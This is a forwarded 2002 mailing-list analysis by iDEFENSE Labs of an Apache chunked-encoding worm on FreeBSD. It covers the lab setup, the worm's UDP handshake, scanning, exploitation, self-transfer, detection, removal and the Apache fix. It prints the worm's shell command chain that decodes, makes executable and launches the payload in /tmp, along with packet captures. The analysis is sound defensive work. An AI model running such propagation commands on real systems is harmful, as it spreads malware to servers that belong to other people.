Apache Worm Analysis (was Re: Apache worm in the wild)

From: Kurt Seifried (kurt@seifried.org)
Date: 07/01/02


From: "Kurt Seifried" <kurt@seifried.org>
To: <freebsd-security@freebsd.org>
Date: Sun, 30 Jun 2002 16:25:48 -0600

Forwarded by request.

-----Original Message-----
From: David Endler [mailto:dendler@idefense.com]
Sent: Sunday, June 30, 2002 2:09 PM
To: bugtraq@securityfocus.com; freebsd-security@freebsd.org
Subject: Apache Worm Analysis (was Re: Apache worm in the wild)

Based on the Bugtraq posted code from Domas Mituzas
(http://dammit.lt/apache-worm/apache-worm.c), iDEFENSE Labs performed an
initial analysis in a closed lab environment. The lab environment
consisted of the following machines and applications:

Host: wormbait
Running fresh FreeBSD 4.5 x86 standard installation with Apache 1.3.20
default installation, lsof 4.64, and Tripwire 2.3.1-2
IP address 172.16.159.100

% uname -a
FreeBSD attacker 4.5-RELEASE FreeBSD 4.5-RELEASE #0: Mon Jan 28 14:31:56
GMT 2002

Host: attacker
Running fresh FreeBSD 4.5 x86 standard installation, lsof 4.64, and
Tripwire 2.3.1-2
IP address 172.16.159.57

% uname -a
FreeBSD attacker 4.5-RELEASE FreeBSD 4.5-RELEASE #0: Mon Jan 28 14:31:56
GMT 2002

Host: sniffer
Redhat Linux 7.1 fully patched
Passive network interface (no assigned IP address) in promiscuous mode
with Ethereal and TCPdump

PREPARATION

The worm was compiled on the attacker host into a binary named .a:

% gcc apache_code.c -o .a
% mv .a /tmp
% ls -l /tmp

total 52
-rwxr-xr-x 1 nobody wheel 51598 Jun 29 17:49 .a

The worm's author hardcoded several features into the code, which make
for shortcomings in the propagation routine. The worm binary MUST be
named ".a" and be placed in the /tmp directory or else it cannot infect
other hosts. If the binary is removed at any time from the /tmp
directory while the worm is running in the background, it will only be
able to upload blank benign copies of itself to future exploited hosts.
Any FreeBSD installations that have the /tmp directory as a separate
partition and have set the noexec flag will prevent the worm from
scanning other hosts assuming the system has been infected.

The following sections have been organized into the lifecycle of this
worm:

Listen for UDP packets -> Scan for new hosts -> Exploit found hosts ->
Transfer payload to victim -> Launch new host -> Listen for UDP packets -
> ...

LISTEN

The worm requires at least one argument to be run from the command line,
although in most cases it will be automatically launched in future
infection scenarios:

% ./a
/tmp/.a [base 2] ...

The "base" argument is an IP address or hostname of the system that
originally infected the attacker. The attacking computer (that has just
been infected) sends a UDP packet to this base host and requires a
response in the form of two UDP packets in order to launch. It is
unclear why the author designed the worm to wait for these response
packets before running.

The following is the TCPdump packet that the attacker would send to the
host that originally infected it. For the purposes of the analysis, we
used the attacker is used as its own base host to start the scenario.
Extrapolating from the log data, the initial packet looks like the
following:

15:51:29.967989 attacker.2001 > base_host.2001: [udp sum ok] udp 16 (ttl
64, id 5868, len 44)
4500 002c 16ec 0000 4011 cd16 ac10 9f64
ac10 9f39 07d1 07d1 0018 e95c 7000 0000
0000 0000 0000 0000 0000 0000

The base host must then send back a response back to the newly infected
attacker consisting of two UDP packets or else the worm will not begin
scanning for new hosts. However, even if the responses are not received
from the base host, the worm continues to listen on UDP port 2001. From
source code analysis, it seems the UDP server is rather benign and does
not provide backdoor Trojan capabilities, although it is extremely
feasible that future variants may integrate that feature. Running
netstat will show the listening port on an infected FreeBSD host as the
"wizard" service, which is assigned to port 2001 in most /etc/services
files:

Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address Foreign Address
(state)
tcp4 0 0 *.smtp *.* LISTEN
tcp4 0 0 *.ssh *.* LISTEN
tcp46 0 0 *.ssh *.* LISTEN
tcp4 0 0 *.ftp *.* LISTEN
udp4 0 0 *.syslog *.*
udp4 0 0 *.wizard *.*
        
udp6 0 0 *.syslog *.*
Active UNIX domain sockets
Address Type Recv-Q Send-Q Inode Conn Refs Nextref Addr
c8ec7ec0 dgram 0 0 0 c8e97fc0 0 c8ec7e80
c8ec7e80 dgram 0 0 0 c8e97fc0 0 c8ec7f80
c8ec7f80 dgram 0 0 0 c8e97fc0 0 c8ec7fc0
c8ec7fc0 dgram 0 0 0 c8e97fc0 0 0
c8e97fc0 dgram 0 0 c8e92cc0 0 c8ec7ec0 0

Running lsof shows the following files and sockets being accessed by the
worm (the last ten lines):

% lsof

adjkerntz 17 root txt VREG 116,131072 62264 42241
/sbin/adjkerntz
syslogd 55 root 3u unix 0xc8520ec0 0t0
/var/run/log
syslogd 55 root 9w VREG 116,131072 30522 253467
/var/log/messages
syslogd 55 root 10w VREG 116,131072 0 253468
/var/log/security
syslogd 55 root 11w VREG 116,131072 1573 253465
/var/log/maillog
syslogd 55 root 12w VREG 116,131072 0 253464
/var/log/lpd-errs
syslogd 55 root 13w VREG 116,131072 6233 253462
/var/log/cron
syslogd 55 root 14w VREG 116,131072 0 253469
/var/log/slip.log
syslogd 55 root 15w VREG 116,131072 0 253470
/var/log/ppp.log
inetd 62 root txt VREG 116,131072 27088 212720
/usr/lib/libwrap.so.3
cron 64 root cwd VDIR 116,131072 512 253453 /var/cron
cron 64 root 3uW VREG 116,131072 3 265182
/var/run/cron.pid
sshd 66 root txt VREG 116,131072 121320 216910
/usr/lib/libasn1.so.3
sshd 66 root txt VREG 116,131072 27088 212720
/usr/lib/libwrap.so.3
sshd 66 root txt VREG 116,131072 34664 212691
/usr/lib/libpam.so.1
sendmail 70 root cwd VDIR 116,131072 512 253482
/var/spool/mqueue
sendmail 70 root rtd VDIR 116,131072 512 2 /
sendmail 70 root txt VREG 116,131072 403136 214274
/usr/libexec/sendmail/sendmail
sendmail 70 root txt VREG 116,131072 76560 214314
/usr/libexec/ld-elf.so.1
sendmail 70 root txt VREG 116,131072 32912 212616
/usr/lib/libutil.so.3
sendmail 70 root txt VREG 116,131072 27088 212720
/usr/lib/libwrap.so.3
sendmail 70 root txt VREG 116,131072 177160 216844
/usr/lib/libssl.so.2
sendmail 70 root txt VREG 116,131072 762068 216836
/usr/lib/libcrypto.so.2
sendmail 70 root txt VREG 116,131072 573760 212628
/usr/lib/libc.so.4
sendmail 70 root 0r VCHR 2,2 0t0 232339 /dev/null
sendmail 70 root 1w VCHR 2,2 0t0 232339 /dev/null
sendmail 70 root 2w VCHR 2,2 0t0 232339 /dev/null
sendmail 70 root 3u unix 0xc8520b00 0t0 -
>0xc8520ec0
sendmail 70 root 4u IPv4 0xc85dcc60 0t0 TCP *:smtp
(LISTEN)
sendmail 70 root 5u IPv4 0xc85dca40 0t0 TCP
*:submission (LISTEN)
login 90 root txt VREG 116,131072 34664 212691
/usr/lib/libpam.so.1
login 90 root txt VREG 116,131072 4024 212687
/usr/lib/pam_skey.so
login 90 root txt VREG 116,131072 3208 212683
/usr/lib/pam_cleartext_pass_ok.so
login 90 root txt VREG 116,131072 4828 212689
/usr/lib/pam_unix.so
login 90 root txt VREG 116,131072 3436 212685
/usr/lib/pam_permit.so
login 91 root txt VREG 116,131072 34664 212691
/usr/lib/libpam.so.1
login 91 root txt VREG 116,131072 4024 212687
/usr/lib/pam_skey.so
login 91 root txt VREG 116,131072 3208 212683
/usr/lib/pam_cleartext_pass_ok.so
login 91 root txt VREG 116,131072 4828 212689
/usr/lib/pam_unix.so
login 91 root txt VREG 116,131072 3436 212685
/usr/lib/pam_permit.so
login 92 root txt VREG 116,131072 34664 212691
/usr/lib/libpam.so.1
login 92 root txt VREG 116,131072 4024 212687
/usr/lib/pam_skey.so
login 92 root txt VREG 116,131072 3208 212683
/usr/lib/pam_cleartext_pass_ok.so
login 92 root txt VREG 116,131072 4828 212689
/usr/lib/pam_unix.so
login 92 root txt VREG 116,131072 3436 212685
/usr/lib/pam_permit.so
csh 98 root cwd VDIR 116,131072 512 244353
/usr/local/apache/logs
csh 100 root 3u PIPE 0xc8e81d40 16384 -
>0xc8e81a20
csh 100 root 4u PIPE 0xc8e81a20 16384 -
>0xc8e81d40
httpd 106 root txt VREG 116,131072 471064 244356
/usr/local/apache/bin/httpd
httpd 106 root 2w VREG 116,131072 2698 244751
/usr/local/apache/logs/error_log
httpd 106 root 15w VREG 116,131072 2698 244751
/usr/local/apache/logs/error_log
httpd 106 root 17w VREG 116,131072 1217 244752
/usr/local/apache/logs/access_log
httpd 565 nobody txt VREG 116,131072 471064 244356
/usr/local/apache/bin/httpd
httpd 565 nobody 2w VREG 116,131072 2698 244751
/usr/local/apache/logs/error_log
httpd 565 nobody 15w VREG 116,131072 2698 244751
/usr/local/apache/logs/error_log
httpd 565 nobody 17w VREG 116,131072 1217 244752
/usr/local/apache/logs/access_log
httpd 585 nobody txt VREG 116,131072 471064 244356
/usr/local/apache/bin/httpd
httpd 585 nobody 2w VREG 116,131072 2698 244751
/usr/local/apache/logs/error_log
httpd 585 nobody 15w VREG 116,131072 2698 244751
/usr/local/apache/logs/error_log
httpd 585 nobody 17w VREG 116,131072 1217 244752
/usr/local/apache/logs/access_log
httpd 741 nobody txt VREG 116,131072 471064 244356
/usr/local/apache/bin/httpd
httpd 741 nobody 2w VREG 116,131072 2698 244751
/usr/local/apache/logs/error_log
httpd 741 nobody 15w VREG 116,131072 2698 244751
/usr/local/apache/logs/error_log
httpd 741 nobody 17w VREG 116,131072 1217 244752
/usr/local/apache/logs/access_log
httpd 768 nobody txt VREG 116,131072 471064 244356
/usr/local/apache/bin/httpd
httpd 768 nobody 2w VREG 116,131072 2698 244751
/usr/local/apache/logs/error_log
httpd 768 nobody 15w VREG 116,131072 2698 244751
/usr/local/apache/logs/error_log
httpd 768 nobody 17w VREG 116,131072 1217 244752
/usr/local/apache/logs/access_log
httpd 905 nobody txt VREG 116,131072 471064 244356
/usr/local/apache/bin/httpd
httpd 905 nobody 2w VREG 116,131072 2698 244751
/usr/local/apache/logs/error_log
httpd 905 nobody 15w VREG 116,131072 2698 244751
/usr/local/apache/logs/error_log
httpd 905 nobody 17w VREG 116,131072 1217 244752
/usr/local/apache/logs/access_log
httpd 1011 nobody txt VREG 116,131072 471064 244356
/usr/local/apache/bin/httpd
httpd 1011 nobody 2w VREG 116,131072 2698 244751
/usr/local/apache/logs/error_log
httpd 1011 nobody 15w VREG 116,131072 2698 244751
/usr/local/apache/logs/error_log
httpd 1011 nobody 17w VREG 116,131072 1217 244752
/usr/local/apache/logs/access_log
.a 1103 root cwd VDIR 116,131072 512 274560 /tmp
.a 1103 root rtd VDIR 116,131072 512 2 /
.a 1103 root txt VREG 116,131072 51598 286300 /tmp/.a
.a 1103 root txt VREG 116,131072 76560 214314
/usr/libexec/ld-elf.so.1
.a 1103 root txt VREG 116,131072 573760 212628
/usr/lib/libc.so.4
.a 1103 root 0u VCHR 2,2 0t0 232339 /dev/null
.a 1103 root 1u VCHR 2,2 0t0 232339 /dev/null
.a 1103 root 2u VCHR 2,2 0t0 232339 /dev/null
.a 1103 root 3u VCHR 2,2 0t0 232339 /dev/null
.a 1103 root 4u IPv4 0xc857ebc0 0t0 UDP *:wizard

At any time, the owner of an infected computer can determine the
original base host that infected it simply by looking at the process
list:

% ps aux | grep ".a"

nobody 1103 0.0 0.4 932 444 v1 S 6:46PM 0:00.00 /tmp/.a 172.16.159.57

The required response packets by the waiting attacker from the base host
look something like this in a TCPdump capture:

15:51:29.970308 base_host.2001 > attacker.2001: [udp sum ok] udp 20
(ttl 64, id 7130, len 48)
4500 0030 1bda 0000 4011 c824 ac10 9f39
ac10 9f64 07d1 07d1 001c 9adf 7300 0000
0000 0000 0000 0000 0000 0000 ac10 9f64
15:51:29.970626 base_host.2001 > attacker.2001: [udp sum ok] udp 24
(ttl 64, id 7131, len 52)
4500 0034 1bdb 0000 4011 c81f ac10 9f39
ac10 9f64 07d1 07d1 0020 498d 7100 0000
0000 0000 0800 0000 0000 0000 ac10 9f64
ac10 9f39

SCAN

Once the attacker's worm receives these packets on the UDP server
listening on port 2001, the worm begins to scan random class B IP
address ranges for Apache web servers. iDEFENSE Labs modified the code
slightly so it would instantly start scanning on the same class B
(172.16.159.x) that the wormbait host was on. In order to find an active
Apache web server, it sends the following web request:

GET / HTTP/1.1

This request will show up as in the victim's Apache access logs as the
following:

172.16.159.57 - - [29/Jun/2002:15:06:41 -0400] "GET / HTTP/1.1" 400 378

More importantly, the request will also show up the Apache error logs
since a proper "Host:" header is not included, as seen here:

[Sat Jun 29 15:06:41 2002] [error] [client 172.16.159.57] client sent
HTTP/1.1 request without hostname (see RFC2616 section 14.23): /

EXPLOIT

When the worm receives the results of the HTTP response, it determines
if the web server is running Apache by using a simple string compare
function on the word "Apache". Regardless of version, the worm will try
the two memory offsets to use in the chunked-encoding exploit for the
respective targets of Apache 1.3.20 or 1.3.22-24. The exploit seems to
use the exact same shellcode as the apache_nosejob.c posted by GOBBLES.
iDEFENSE Labs also tested the worm on Apache 1.3.24 with the same
successful exploitation results. The attacker then sends the chunked-
encoding exploit over HTTP to the vulnerable Apache server, which looks
something like this when reconstructed from the sniffer data:

http://www.idefense.com/idtools/Apache%20Worm.txt

TRANSFER

Upon successful exploitation, the worm is able to upload a uuencoded
copy of itself named ".uua" to the victim's /tmp directory. UUencode is
a popular software utility used to translate mostly binary file types
into a 7-bit ASCII set of characters so that they can be attached to an
e-mail message or posted to a newsgroup. The worm (while still issuing
commands through the buffer overflow exploit to the victim) issues a
uudecode command through the established HTTP socket to extract the file
into the .a binary.

A user on an infected host would see the following two files in the /tmp
directory:

% ls -la /tmp

total 122
-rwxr-xr-x 1 nobody wheel 51598 Jun 29 17:49 .a
-rw-r--r-- 1 nobody wheel 71113 Jun 29 17:49 .uua

The attacker then executes the .a binary on the victim's host causing
the cycle to be completed. The actual command stream that causes the
last few events to occur is sent into the HTTP stream by the attack into
the shell that results from successful exploitation of the chunked-
encoding vulnerability:

/usr/bin/uudecode -p /tmp/.uua > /tmp/.a;killall -9 .a;chmod +x
/tmp/.a;killall -9 .a;/tmp/.a 172.16.159.57

The above sequence of commands stops all previous infected versions of
the worm from running, since it's possible for multiple reinfections to
occur from different originating hosts.

ANALYSIS: This worm is just another component of the general
vulnerability disclosure trend. When a vulnerability is first
discovered, the vendor of the vulnerable software or hardware is often
notified first. However, the time between disclosure and a proof-of-
concept exploit is narrowing, as if the time between the disclosure of
the exploit and the creation of the worm. And the trend will continue
during the year(s) to come.

This particular vulnerability in Apache's chunked encoding was publicly
disclosed on June 17, 2002; an exploit was disclosed on June 19; this
worm was discovered in the wild on June 28. Even though the range of
exploitable applications and platforms was quite limited this time
(FreeBSD only), it is extremely likely now that others will emerge given
the source code is now publicly available.

This worm was programmed in C in a rather sloppy fashion in what almost
seems to have been a preexisting worm skeleton. Many of the functions
and routines in the code are never called or used at all. It is almost
as if these sections (such as the e-mail component and logging feature)
were never fully configured properly. In fact, this seems more like a
proof-of-concept worm since it causes no damage, barring any indirect
denial of service or system resource over consumption. While this worm
is somewhat benign in its payload, administrators should take caution as
there are many others who can easily construct more destructive worms
and release them in the wild with minimal technical expertise.

DETECTION: Only FreeBSD 4.5 installations are affected currently. Look
for the existence of the .a and .uua files in the /tmp directory, a UDP
server running on port 2001, or many outbound web connections that are
shown when running netstat.

RECOVERY: Simply delete the files .a and .uua in the /tmp directory, and
kill the worm process:

% ps aux | grep ".a"

nobody 1103 0.0 0.4 932 444 v1 S 6:46PM 0:00.00 /tmp/.a 172.16.159.57

% kill -9 1103

VENDOR FIX: Administrators should download and install HTTP Server
1.3.26, which corrects the chunked-encoding problem. It is available at
http://www.apache.org/dist/httpd/apache_1.3.26.tar.gz.

Michael Sutton
Senior Security Engineer, iDEFENSE Labs
msutton@idefense.com

David Endler
Director, iDEFENSE Labs
dendler@idefense.com

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message



Relevant Pages


Quantcast